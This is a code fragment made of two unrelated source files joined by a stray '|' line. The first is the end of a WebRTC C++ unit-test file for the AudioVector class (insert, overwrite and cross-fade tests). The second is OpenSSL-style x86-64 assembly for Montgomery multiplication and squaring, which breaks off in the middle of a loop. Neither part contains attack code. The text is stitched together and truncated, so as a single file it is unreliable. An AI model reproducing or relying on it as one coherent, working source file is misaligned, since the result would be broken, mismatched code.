new_array[i] = 100 + i;
}
int insert_position = array_length();
vec.InsertAt(new_array, kNewLength, insert_position);
// Verify that the vector looks as follows:
// {0, 1, ..., kLength - 1, 100, 101, ..., 100 + kNewLength - 1 }.
size_t pos = 0;
for (size_t i = 0; i < array_length(); ++i) {
EXPECT_EQ(array_[i], vec[pos]);
++pos;
}
for (int i = 0; i < kNewLength; ++i) {
EXPECT_EQ(new_array[i], vec[pos]);
++pos;
}
}
// Test the InsertAt method with an insert position beyond the end of the
// vector. Verify that a position beyond the end of the vector does not lead to
// an error. The expected outcome is the same as if the vector end was used as
// input position. That is, the input position should be capped at the maximum
// allowed value.
TEST_F(AudioVectorTest, InsertBeyondEnd) {
AudioVector vec;
vec.PushBack(array_, array_length());
static const int kNewLength = 5;
int16_t new_array[kNewLength];
// Set array elements to {100, 101, 102, ... }.
for (int i = 0; i < kNewLength; ++i) {
new_array[i] = 100 + i;
}
int insert_position = array_length() + 10; // Too large.
vec.InsertAt(new_array, kNewLength, insert_position);
// Verify that the vector looks as follows:
// {0, 1, ..., kLength - 1, 100, 101, ..., 100 + kNewLength - 1 }.
size_t pos = 0;
for (size_t i = 0; i < array_length(); ++i) {
EXPECT_EQ(array_[i], vec[pos]);
++pos;
}
for (int i = 0; i < kNewLength; ++i) {
EXPECT_EQ(new_array[i], vec[pos]);
++pos;
}
}
// Test the OverwriteAt method with a position such that all of the new values
// fit within the old vector.
TEST_F(AudioVectorTest, OverwriteAt) {
AudioVector vec;
vec.PushBack(array_, array_length());
static const int kNewLength = 5;
int16_t new_array[kNewLength];
// Set array elements to {100, 101, 102, ... }.
for (int i = 0; i < kNewLength; ++i) {
new_array[i] = 100 + i;
}
size_t insert_position = 2;
vec.OverwriteAt(new_array, kNewLength, insert_position);
// Verify that the vector looks as follows:
// {0, ..., |insert_position| - 1, 100, 101, ..., 100 + kNewLength - 1,
// |insert_position|, |insert_position| + 1, ..., kLength - 1}.
size_t pos = 0;
for (pos = 0; pos < insert_position; ++pos) {
EXPECT_EQ(array_[pos], vec[pos]);
}
for (int i = 0; i < kNewLength; ++i) {
EXPECT_EQ(new_array[i], vec[pos]);
++pos;
}
for (; pos < array_length(); ++pos) {
EXPECT_EQ(array_[pos], vec[pos]);
}
}
// Test the OverwriteAt method with a position such that some of the new values
// extend beyond the end of the current vector. This is valid, and the vector is
// expected to expand to accommodate the new values.
TEST_F(AudioVectorTest, OverwriteBeyondEnd) {
AudioVector vec;
vec.PushBack(array_, array_length());
static const int kNewLength = 5;
int16_t new_array[kNewLength];
// Set array elements to {100, 101, 102, ... }.
for (int i = 0; i < kNewLength; ++i) {
new_array[i] = 100 + i;
}
int insert_position = array_length() - 2;
vec.OverwriteAt(new_array, kNewLength, insert_position);
ASSERT_EQ(array_length() - 2u + kNewLength, vec.Size());
// Verify that the vector looks as follows:
// {0, ..., |insert_position| - 1, 100, 101, ..., 100 + kNewLength - 1,
// |insert_position|, |insert_position| + 1, ..., kLength - 1}.
int pos = 0;
for (pos = 0; pos < insert_position; ++pos) {
EXPECT_EQ(array_[pos], vec[pos]);
}
for (int i = 0; i < kNewLength; ++i) {
EXPECT_EQ(new_array[i], vec[pos]);
++pos;
}
// Verify that we checked to the end of |vec|.
EXPECT_EQ(vec.Size(), static_cast<size_t>(pos));
}
TEST_F(AudioVectorTest, CrossFade) {
static const size_t kLength = 100;
static const size_t kFadeLength = 10;
AudioVector vec1(kLength);
AudioVector vec2(kLength);
// Set all vector elements to 0 in |vec1| and 100 in |vec2|.
for (size_t i = 0; i < kLength; ++i) {
vec1[i] = 0;
vec2[i] = 100;
}
vec1.CrossFade(vec2, kFadeLength);
ASSERT_EQ(2 * kLength - kFadeLength, vec1.Size());
// First part untouched.
for (size_t i = 0; i < kLength - kFadeLength; ++i) {
EXPECT_EQ(0, vec1[i]);
}
// Check mixing zone.
for (size_t i = 0 ; i < kFadeLength; ++i) {
EXPECT_NEAR((i + 1) * 100 / (kFadeLength + 1),
vec1[kLength - kFadeLength + i], 1);
}
// Second part untouched.
for (size_t i = kLength; i < vec1.Size(); ++i) {
EXPECT_EQ(100, vec1[i]);
}
}
} // namespace webrtc
|
default rel
%define XMMWORD
%define YMMWORD
%define ZMMWORD
section .text code align=64
EXTERN OPENSSL_ia32cap_P
global bn_mul_mont_gather5
ALIGN 64
bn_mul_mont_gather5:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_mul_mont_gather5:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
mov r9,QWORD[48+rsp]
test r9d,7
jnz NEAR $L$mul_enter
jmp NEAR $L$mul4x_enter
ALIGN 16
$L$mul_enter:
mov r9d,r9d
mov rax,rsp
mov r10d,DWORD[56+rsp]
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,[((-40))+rsp]
movaps XMMWORD[rsp],xmm6
movaps XMMWORD[16+rsp],xmm7
lea r11,[2+r9]
neg r11
lea rsp,[r11*8+rsp]
and rsp,-1024
mov QWORD[8+r9*8+rsp],rax
$L$mul_body:
mov r12,rdx
mov r11,r10
shr r10,3
and r11,7
not r10
lea rax,[$L$magic_masks]
and r10,3
lea r12,[96+r11*8+r12]
movq xmm4,QWORD[r10*8+rax]
movq xmm5,QWORD[8+r10*8+rax]
movq xmm6,QWORD[16+r10*8+rax]
movq xmm7,QWORD[24+r10*8+rax]
movq xmm0,QWORD[(((-96)))+r12]
movq xmm1,QWORD[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD[32+r12]
pand xmm1,xmm5
movq xmm3,QWORD[96+r12]
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
por xmm0,xmm2
lea r12,[256+r12]
por xmm0,xmm3
DB 102,72,15,126,195
mov r8,QWORD[r8]
mov rax,QWORD[rsi]
xor r14,r14
xor r15,r15
movq xmm0,QWORD[(((-96)))+r12]
movq xmm1,QWORD[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD[32+r12]
pand xmm1,xmm5
mov rbp,r8
mul rbx
mov r10,rax
mov rax,QWORD[rcx]
movq xmm3,QWORD[96+r12]
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
imul rbp,r10
mov r11,rdx
por xmm0,xmm2
lea r12,[256+r12]
por xmm0,xmm3
mul rbp
add r10,rax
mov rax,QWORD[8+rsi]
adc rdx,0
mov r13,rdx
lea r15,[1+r15]
jmp NEAR $L$1st_enter
ALIGN 16
$L$1st:
add r13,rax
mov rax,QWORD[r15*8+rsi]
adc rdx,0
add r13,r11
mov r11,r10
adc rdx,0
mov QWORD[((-16))+r15*8+rsp],r13
mov r13,rdx
$L$1st_enter:
mul rbx
add r11,rax
mov rax,QWORD[r15*8+rcx]
adc rdx,0
lea r15,[1+r15]
mov r10,rdx
mul rbp
cmp r15,r9
jne NEAR $L$1st
DB 102,72,15,126,195
add r13,rax
mov rax,QWORD[rsi]
adc rdx,0
add r13,r11
adc rdx,0
mov QWORD[((-16))+r15*8+rsp],r13
mov r13,rdx
mov r11,r10
xor rdx,rdx
add r13,r11
adc rdx,0
mov QWORD[((-8))+r9*8+rsp],r13
mov QWORD[r9*8+rsp],rdx
lea r14,[1+r14]
jmp NEAR $L$outer
ALIGN 16
$L$outer:
xor r15,r15
mov rbp,r8
mov r10,QWORD[rsp]
movq xmm0,QWORD[(((-96)))+r12]
movq xmm1,QWORD[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD[32+r12]
pand xmm1,xmm5
mul rbx
add r10,rax
mov rax,QWORD[rcx]
adc rdx,0
movq xmm3,QWORD[96+r12]
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
imul rbp,r10
mov r11,rdx
por xmm0,xmm2
lea r12,[256+r12]
por xmm0,xmm3
mul rbp
add r10,rax
mov rax,QWORD[8+rsi]
adc rdx,0
mov r10,QWORD[8+rsp]
mov r13,rdx
lea r15,[1+r15]
jmp NEAR $L$inner_enter
ALIGN 16
$L$inner:
add r13,rax
mov rax,QWORD[r15*8+rsi]
adc rdx,0
add r13,r10
mov r10,QWORD[r15*8+rsp]
adc rdx,0
mov QWORD[((-16))+r15*8+rsp],r13
mov r13,rdx
$L$inner_enter:
mul rbx
add r11,rax
mov rax,QWORD[r15*8+rcx]
adc rdx,0
add r10,r11
mov r11,rdx
adc r11,0
lea r15,[1+r15]
mul rbp
cmp r15,r9
jne NEAR $L$inner
DB 102,72,15,126,195
add r13,rax
mov rax,QWORD[rsi]
adc rdx,0
add r13,r10
mov r10,QWORD[r15*8+rsp]
adc rdx,0
mov QWORD[((-16))+r15*8+rsp],r13
mov r13,rdx
xor rdx,rdx
add r13,r11
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD[((-8))+r9*8+rsp],r13
mov QWORD[r9*8+rsp],rdx
lea r14,[1+r14]
cmp r14,r9
jb NEAR $L$outer
xor r14,r14
mov rax,QWORD[rsp]
lea rsi,[rsp]
mov r15,r9
jmp NEAR $L$sub
ALIGN 16
$L$sub: sbb rax,QWORD[r14*8+rcx]
mov QWORD[r14*8+rdi],rax
mov rax,QWORD[8+r14*8+rsi]
lea r14,[1+r14]
dec r15
jnz NEAR $L$sub
sbb rax,0
xor r14,r14
mov r15,r9
ALIGN 16
$L$copy:
mov rsi,QWORD[r14*8+rsp]
mov rcx,QWORD[r14*8+rdi]
xor rsi,rcx
and rsi,rax
xor rsi,rcx
mov QWORD[r14*8+rsp],r14
mov QWORD[r14*8+rdi],rsi
lea r14,[1+r14]
sub r15,1
jnz NEAR $L$copy
mov rsi,QWORD[8+r9*8+rsp]
mov rax,1
movaps xmm6,XMMWORD[((-88))+rsi]
movaps xmm7,XMMWORD[((-72))+rsi]
mov r15,QWORD[((-48))+rsi]
mov r14,QWORD[((-40))+rsi]
mov r13,QWORD[((-32))+rsi]
mov r12,QWORD[((-24))+rsi]
mov rbp,QWORD[((-16))+rsi]
mov rbx,QWORD[((-8))+rsi]
lea rsp,[rsi]
$L$mul_epilogue:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_mul_mont_gather5:
ALIGN 32
bn_mul4x_mont_gather5:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_mul4x_mont_gather5:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
mov r9,QWORD[48+rsp]
$L$mul4x_enter:
DB 0x67
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,[((-40))+rsp]
movaps XMMWORD[rsp],xmm6
movaps XMMWORD[16+rsp],xmm7
DB 0x67
mov r10d,r9d
shl r9d,3
shl r10d,3+2
neg r9
lea r11,[((-64))+r9*2+rsp]
sub r11,rsi
and r11,4095
cmp r10,r11
jb NEAR $L$mul4xsp_alt
sub rsp,r11
lea rsp,[((-64))+r9*2+rsp]
jmp NEAR $L$mul4xsp_done
ALIGN 32
$L$mul4xsp_alt:
lea r10,[((4096-64))+r9*2]
lea rsp,[((-64))+r9*2+rsp]
sub r11,r10
mov r10,0
cmovc r11,r10
sub rsp,r11
$L$mul4xsp_done:
and rsp,-64
neg r9
mov QWORD[40+rsp],rax
$L$mul4x_body:
call mul4x_internal
mov rsi,QWORD[40+rsp]
mov rax,1
movaps xmm6,XMMWORD[((-88))+rsi]
movaps xmm7,XMMWORD[((-72))+rsi]
mov r15,QWORD[((-48))+rsi]
mov r14,QWORD[((-40))+rsi]
mov r13,QWORD[((-32))+rsi]
mov r12,QWORD[((-24))+rsi]
mov rbp,QWORD[((-16))+rsi]
mov rbx,QWORD[((-8))+rsi]
lea rsp,[rsi]
$L$mul4x_epilogue:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_mul4x_mont_gather5:
ALIGN 32
mul4x_internal:
shl r9,5
mov r10d,DWORD[56+rax]
lea r13,[256+r9*1+rdx]
shr r9,5
mov r11,r10
shr r10,3
and r11,7
not r10
lea rax,[$L$magic_masks]
and r10,3
lea r12,[96+r11*8+rdx]
movq xmm4,QWORD[r10*8+rax]
movq xmm5,QWORD[8+r10*8+rax]
add r11,7
movq xmm6,QWORD[16+r10*8+rax]
movq xmm7,QWORD[24+r10*8+rax]
and r11,7
movq xmm0,QWORD[(((-96)))+r12]
lea r14,[256+r12]
movq xmm1,QWORD[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD[32+r12]
pand xmm1,xmm5
movq xmm3,QWORD[96+r12]
pand xmm2,xmm6
DB 0x67
por xmm0,xmm1
movq xmm1,QWORD[((-96))+r14]
DB 0x67
pand xmm3,xmm7
DB 0x67
por xmm0,xmm2
movq xmm2,QWORD[((-32))+r14]
DB 0x67
pand xmm1,xmm4
DB 0x67
por xmm0,xmm3
movq xmm3,QWORD[32+r14]
DB 102,72,15,126,195
movq xmm0,QWORD[96+r14]
mov QWORD[((16+8))+rsp],r13
mov QWORD[((56+8))+rsp],rdi
mov r8,QWORD[r8]
mov rax,QWORD[rsi]
lea rsi,[r9*1+rsi]
neg r9
mov rbp,r8
mul rbx
mov r10,rax
mov rax,QWORD[rcx]
pand xmm2,xmm5
pand xmm3,xmm6
por xmm1,xmm2
imul rbp,r10
lea r14,[((64+8))+r11*8+rsp]
mov r11,rdx
pand xmm0,xmm7
por xmm1,xmm3
lea r12,[512+r12]
por xmm0,xmm1
mul rbp
add r10,rax
mov rax,QWORD[8+r9*1+rsi]
adc rdx,0
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD[16+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD[16+r9*1+rsi]
adc rdx,0
add rdi,r11
lea r15,[32+r9]
lea rcx,[64+rcx]
adc rdx,0
mov QWORD[r14],rdi
mov r13,rdx
jmp NEAR $L$1st4x
ALIGN 32
$L$1st4x:
mul rbx
add r10,rax
mov rax,QWORD[((-32))+rcx]
lea r14,[32+r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD[((-8))+r15*1+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD[((-24))+r14],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD[((-16))+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD[r15*1+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD[((-16))+r14],rdi
mov r13,rdx
mul rbx
add r10,rax
mov rax,QWORD[rcx]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD[8+r15*1+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD[((-8))+r14],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD[16+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD[16+r15*1+rsi]
adc rdx,0
add rdi,r11
lea rcx,[64+rcx]
adc rdx,0
mov QWORD[r14],rdi
mov r13,rdx
add r15,32
jnz NEAR $L$1st4x
mul rbx
add r10,rax
mov rax,QWORD[((-32))+rcx]
lea r14,[32+r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD[((-8))+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD[((-24))+r14],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD[((-16))+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD[r9*1+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD[((-16))+r14],rdi
mov r13,rdx
DB 102,72,15,126,195
lea rcx,[r9*2+rcx]
xor rdi,rdi
add r13,r10
adc rdi,0
mov QWORD[((-8))+r14],r13
jmp NEAR $L$outer4x
ALIGN 32
$L$outer4x:
mov r10,QWORD[r9*1+r14]
mov rbp,r8
mul rbx
add r10,rax
mov rax,QWORD[rcx]
adc rdx,0
movq xmm0,QWORD[(((-96)))+r12]
movq xmm1,QWORD[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD[32+r12]
pand xmm1,xmm5
movq xmm3,QWORD[96+r12]
imul rbp,r10
DB 0x67
mov r11,rdx
mov QWORD[r14],rdi
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
por xmm0,xmm2
lea r14,[r9*1+r14]
lea r12,[256+r12]
por xmm0,xmm3
mul rbp
add r10,rax
mov rax,QWORD[8+r9*1+rsi]
adc rdx,0
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD[16+rcx]
adc rdx,0
add r11,QWORD[8+r14]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD[16+r9*1+rsi]
adc rdx,0
add rdi,r11
lea r15,[32+r9]
lea rcx,[64+rcx]
adc rdx,0
mov r13,rdx
jmp NEAR $L$inner4x
ALIGN 32
$L$inner4x:
mul rbx
add r10,rax
mov rax,QWORD[((-32))+rcx]
adc rdx,0
add r10,QWORD[16+r14]
lea r14,[32+r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD[((-8))+r15*1+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD[((-32))+r14],rdi
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD[((-16))+rcx]
adc rdx,0
add r11,QWORD[((-8))+r14]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD[r15*1+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD[((-24))+r14],r13
mov r13,rdx
mul rbx
add r10,rax
mov rax,QWORD[rcx]
adc rdx,0
add r10,QWORD[r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD[8+r15*1+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD[((-16))+r14],rdi
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD[16+rcx]
adc rdx,0
add r11,QWORD[8+r14]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD[16+r15*1+rsi]
adc rdx,0
add rdi,r11
lea rcx,[64+rcx]
adc rdx,0
mov QWORD[((-8))+r14],r13
mov r13,rdx
add r15,32
jnz NEAR $L$inner4x
mul rbx
add r10,rax
mov rax,QWORD[((-32))+rcx]
adc rdx,0
add r10,QWORD[16+r14]
lea r14,[32+r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD[((-8))+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD[((-32))+r14],rdi
mov rdi,rdx
mul rbx
add r11,rax
mov rax,rbp
mov rbp,QWORD[((-16))+rcx]
adc rdx,0
add r11,QWORD[((-8))+r14]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD[r9*1+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD[((-24))+r14],r13
mov r13,rdx
DB 102,72,15,126,195
mov QWORD[((-16))+r14],rdi
lea rcx,[r9*2+rcx]
xor rdi,rdi
add r13,r10
adc rdi,0
add r13,QWORD[r14]
adc rdi,0
mov QWORD[((-8))+r14],r13
cmp r12,QWORD[((16+8))+rsp]
jb NEAR $L$outer4x
sub rbp,r13
adc r15,r15
or rdi,r15
xor rdi,1
lea rbx,[r9*1+r14]
lea rbp,[rdi*8+rcx]
mov rcx,r9
sar rcx,3+2
mov rdi,QWORD[((56+8))+rsp]
jmp NEAR $L$sqr4x_sub
global bn_power5
ALIGN 32
bn_power5:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_power5:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
mov r9,QWORD[48+rsp]
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,[((-40))+rsp]
movaps XMMWORD[rsp],xmm6
movaps XMMWORD[16+rsp],xmm7
mov r10d,r9d
shl r9d,3
shl r10d,3+2
neg r9
mov r8,QWORD[r8]
lea r11,[((-64))+r9*2+rsp]
sub r11,rsi
and r11,4095
cmp r10,r11
jb NEAR $L$pwr_sp_alt
sub rsp,r11
lea rsp,[((-64))+r9*2+rsp]
jmp NEAR $L$pwr_sp_done
ALIGN 32
$L$pwr_sp_alt:
lea r10,[((4096-64))+r9*2]
lea rsp,[((-64))+r9*2+rsp]
sub r11,r10
mov r10,0
cmovc r11,r10
sub rsp,r11
$L$pwr_sp_done:
and rsp,-64
mov r10,r9
neg r9
mov QWORD[32+rsp],r8
mov QWORD[40+rsp],rax
$L$power5_body:
DB 102,72,15,110,207
DB 102,72,15,110,209
DB 102,73,15,110,218
DB 102,72,15,110,226
call __bn_sqr8x_internal
call __bn_sqr8x_internal
call __bn_sqr8x_internal
call __bn_sqr8x_internal
call __bn_sqr8x_internal
DB 102,72,15,126,209
DB 102,72,15,126,226
mov rdi,rsi
mov rax,QWORD[40+rsp]
lea r8,[32+rsp]
call mul4x_internal
mov rsi,QWORD[40+rsp]
mov rax,1
mov r15,QWORD[((-48))+rsi]
mov r14,QWORD[((-40))+rsi]
mov r13,QWORD[((-32))+rsi]
mov r12,QWORD[((-24))+rsi]
mov rbp,QWORD[((-16))+rsi]
mov rbx,QWORD[((-8))+rsi]
lea rsp,[rsi]
$L$power5_epilogue:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_power5:
global bn_sqr8x_internal
ALIGN 32
bn_sqr8x_internal:
__bn_sqr8x_internal:
lea rbp,[32+r10]
lea rsi,[r9*1+rsi]
mov rcx,r9
mov r14,QWORD[((-32))+rbp*1+rsi]
lea rdi,[((48+8))+r9*2+rsp]
mov rax,QWORD[((-24))+rbp*1+rsi]
lea rdi,[((-32))+rbp*1+rdi]
mov rbx,QWORD[((-16))+rbp*1+rsi]
mov r15,rax
mul r14
mov r10,rax
mov rax,rbx
mov r11,rdx
mov QWORD[((-24))+rbp*1+rdi],r10
mul r14
add r11,rax
mov rax,rbx
adc rdx,0
mov QWORD[((-16))+rbp*1+rdi],r11
mov r10,rdx
mov rbx,QWORD[((-8))+rbp*1+rsi]
mul r15
mov r12,rax
mov rax,rbx
mov r13,rdx
lea rcx,[rbp]
mul r14
add r10,rax
mov rax,rbx
mov r11,rdx
adc r11,0
add r10,r12
adc r11,0
mov QWORD[((-8))+rcx*1+rdi],r10
jmp NEAR $L$sqr4x_1st
ALIGN 32
$L$sqr4x_1st:
mov rbx,QWORD[rcx*1+rsi]
mul r15
add r13,rax
mov rax,rbx
mov r12,rdx
adc r12,0
mul r14
add r11,rax
mov rax,rbx
mov rbx,QWORD[8+rcx*1+rsi]
mov r10,rdx
adc r10,0
add r11,r13
adc r10,0
mul r15
add r12,rax
mov rax,rbx
mov QWORD[rcx*1+rdi],r11
mov r13,rdx
adc r13,0
mul r14
add r10,rax
mov rax,rbx
mov rbx,QWORD[16+rcx*1+rsi]
mov r11,rdx
adc r11,0
add r10,r12
adc r11,0
mul r15
add r13,rax
mov rax,rbx
mov QWORD[8+rcx*1+rdi],r10
mov r12,rdx
adc r12,0
mul r14
add r11,rax
mov rax,rbx
mov rbx,QWORD[24+rcx*1+rsi]
mov r10,rdx
adc r10,0
add r11,r13
adc r10,0
mul r15
add r12,rax
mov rax,rbx
mov QWORD[16+rcx*1+rdi],r11
mov r13,rdx
adc r13,0
lea rcx,[32+rcx]
mul r14
add r10,rax
mov rax,rbx
mov r11,rdx
adc r11,0
add r10,r12
adc r11,0
mov QWORD[((-8))+rcx*1+rdi],r10
cmp rcx,0
jne NEAR $L$sqr4x_1st
mul r15
add r13,rax
lea rbp,[16+rbp]
adc rdx,0
add r13,r11
adc rdx,0
mov QWORD[rdi],r13
mov r12,rdx
mov QWORD[8+rdi],rdx
jmp NEAR $L$sqr4x_outer
ALIGN 32
$L$sqr4x_outer:
mov r14,QWORD[((-32))+rbp*1+rsi]
lea rdi,[((48+8))+r9*2+rsp]
mov rax,QWORD[((-24))+rbp*1+rsi]
lea rdi,[((-32))+rbp*1+rdi]
mov rbx,QWORD[((-16))+rbp*1+rsi]
mov r15,rax
mul r14
mov r10,QWORD[((-24))+rbp*1+rdi]
add r10,rax
mov rax,rbx
adc rdx,0
mov QWORD[((-24))+rbp*1+rdi],r10
mov r11,rdx
mul r14
add r11,rax
mov rax,rbx
adc rdx,0
add r11,QWORD[((-16))+rbp*1+rdi]
mov r10,rdx
adc r10,0
mov QWORD[((-16))+rbp*1+rdi],r11
xor r12,r12
mov rbx,QWORD[((-8))+rbp*1+rsi]
mul r15
add r12,rax
mov rax,rbx
adc rdx,0
add r12,QWORD[((-8))+rbp*1+rdi]
mov r13,rdx
adc r13,0
mul r14
add r10,rax
mov rax,rbx
adc rdx,0
add r10,r12
mov r11,rdx
adc r11,0
mov QWORD[((-8))+rbp*1+rdi],r10
lea rcx,[rbp]
jmp NEAR $L$sqr4x_inner
ALIGN 32
$L$sqr4x_inner:
mov rbx,QWORD[rcx*1+rsi]
mul r15
add r13,rax
mov rax,rbx
mov r12,rdx
adc r12,0
add r13,QWORD[rcx*1+rdi]
adc r12,0
DB 0x67
mul r14
add r11,rax
mov rax,rbx
mov rbx,QWORD[8+rcx*1+rsi]
mov r10,rdx
adc r10,0
add r11,r13
adc r10,0
mul r15
add r12,rax
mov QWORD[rcx*1+rdi],r11
mov rax,rbx
mov r13,rdx
adc r13,0
add r12,QWORD[8+rcx*1+rdi]
lea rcx,[16+rcx]
adc r13,0
mul r14
add r10,rax
mov rax,rbx
adc rdx,0
add r10,r12
mov r11,rdx
adc r11,0
mov QWORD[((-8))+rcx*1+rdi],r10
cmp rcx,0
jne NEAR $L$sqr4x_inner
DB 0x67
mul r15
add r13,rax
adc rdx,0
add r13,r11
adc rdx,0
mov QWORD[rdi],r13
mov r12,rdx
mov QWORD[8+rdi],rdx
add rbp,16
jnz NEAR $L$sqr4x_outer
mov r14,QWORD[((-32))+rsi]
lea rdi,[((48+8))+r9*2+rsp]
mov rax,QWORD[((-24))+rsi]
lea rdi,[((-32))+rbp*1+rdi]
mov rbx,QWORD[((-16))+rsi]
mov r15,rax
mul r14
add r10,rax
mov rax,rbx
mov r11,rdx
adc r11,0
mul r14
add r11,rax
mov rax,rbx
mov QWORD[((-24))+rdi],r10
mov r10,rdx
adc r10,0
add r11,r13
mov rbx,QWORD[((-8))+rsi]
adc r10,0
mul r15
add r12,rax
mov rax,rbx
mov QWORD[((-16))+rdi],r11
mov r13,rdx
adc r13,0
mul r14
add r10,rax
mov rax,rbx
mov r11,rdx
adc r11,0
add r10,r12
adc r11,0
mov QWORD[((-8))+rdi],r10
mul r15
add r13,rax
mov rax,QWORD[((-16))+rsi]
adc rdx,0
add r13,r11
adc rdx,0
mov QWORD[rdi],r13
mov r12,rdx
mov QWORD[8+rdi],rdx
mul rbx
add rbp,16
xor r14,r14
sub rbp,r9
xor r15,r15
add rax,r12
adc rdx,0
mov QWORD[8+rdi],rax
mov QWORD[16+rdi],rdx
mov QWORD[24+rdi],r15
mov rax,QWORD[((-16))+rbp*1+rsi]
lea rdi,[((48+8))+rsp]
xor r10,r10
mov r11,QWORD[8+rdi]
lea r12,[r10*2+r14]
shr r10,63
lea r13,[r11*2+rcx]
shr r11,63
or r13,r10
mov r10,QWORD[16+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD[24+rdi]
adc r12,rax
mov rax,QWORD[((-8))+rbp*1+rsi]
mov QWORD[rdi],r12
adc r13,rdx
lea rbx,[r10*2+r14]
mov QWORD[8+rdi],r13
sbb r15,r15
shr r10,63
lea r8,[r11*2+rcx]
shr r11,63
or r8,r10
mov r10,QWORD[32+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD[40+rdi]
adc rbx,rax
mov rax,QWORD[rbp*1+rsi]
mov QWORD[16+rdi],rbx
adc r8,rdx
lea rbp,[16+rbp]
mov QWORD[24+rdi],r8
sbb r15,r15
lea rdi,[64+rdi]
jmp NEAR $L$sqr4x_shift_n_add
ALIGN 32
$L$sqr4x_shift_n_add:
lea r12,[r10*2+r14]
shr r10,63
lea r13,[r11*2+rcx]
shr r11,63
or r13,r10
mov r10,QWORD[((-16))+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD[((-8))+rdi]
adc r12,rax
mov rax,QWORD[((-8))+rbp*1+rsi]
mov QWORD[((-32))+rdi],r12
adc r13,rdx
lea rbx,[r10*2+r14]
mov QWORD[((-24))+rdi],r13
sbb r15,r15
shr r10,63
lea r8,[r11*2+rcx]
shr r11,63
or r8,r10
mov r10,QWORD[rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD[8+rdi]
adc rbx,rax
mov rax,QWORD[rbp*1+rsi]
mov QWORD[((-16))+rdi],rbx
adc r8,rdx
lea r12,[r10*2+r14]
mov QWORD[((-8))+rdi],r8
sbb r15,r15
shr r10,63
lea r13,[r11*2+rcx]
shr r11,63
or r13,r10
mov r10,QWORD[16+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD[24+rdi]
adc r12,rax
mov rax,QWORD[8+rbp*1+rsi]
mov QWORD[rdi],r12
adc r13,rdx
lea rbx,[r10*2+r14]
mov QWORD[8+rdi],r13
sbb r15,r15
shr r10,63
lea r8,[r11*2+rcx]
shr r11,63
or r8,r10
mov r10,QWORD[32+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD[40+rdi]
adc rbx,rax
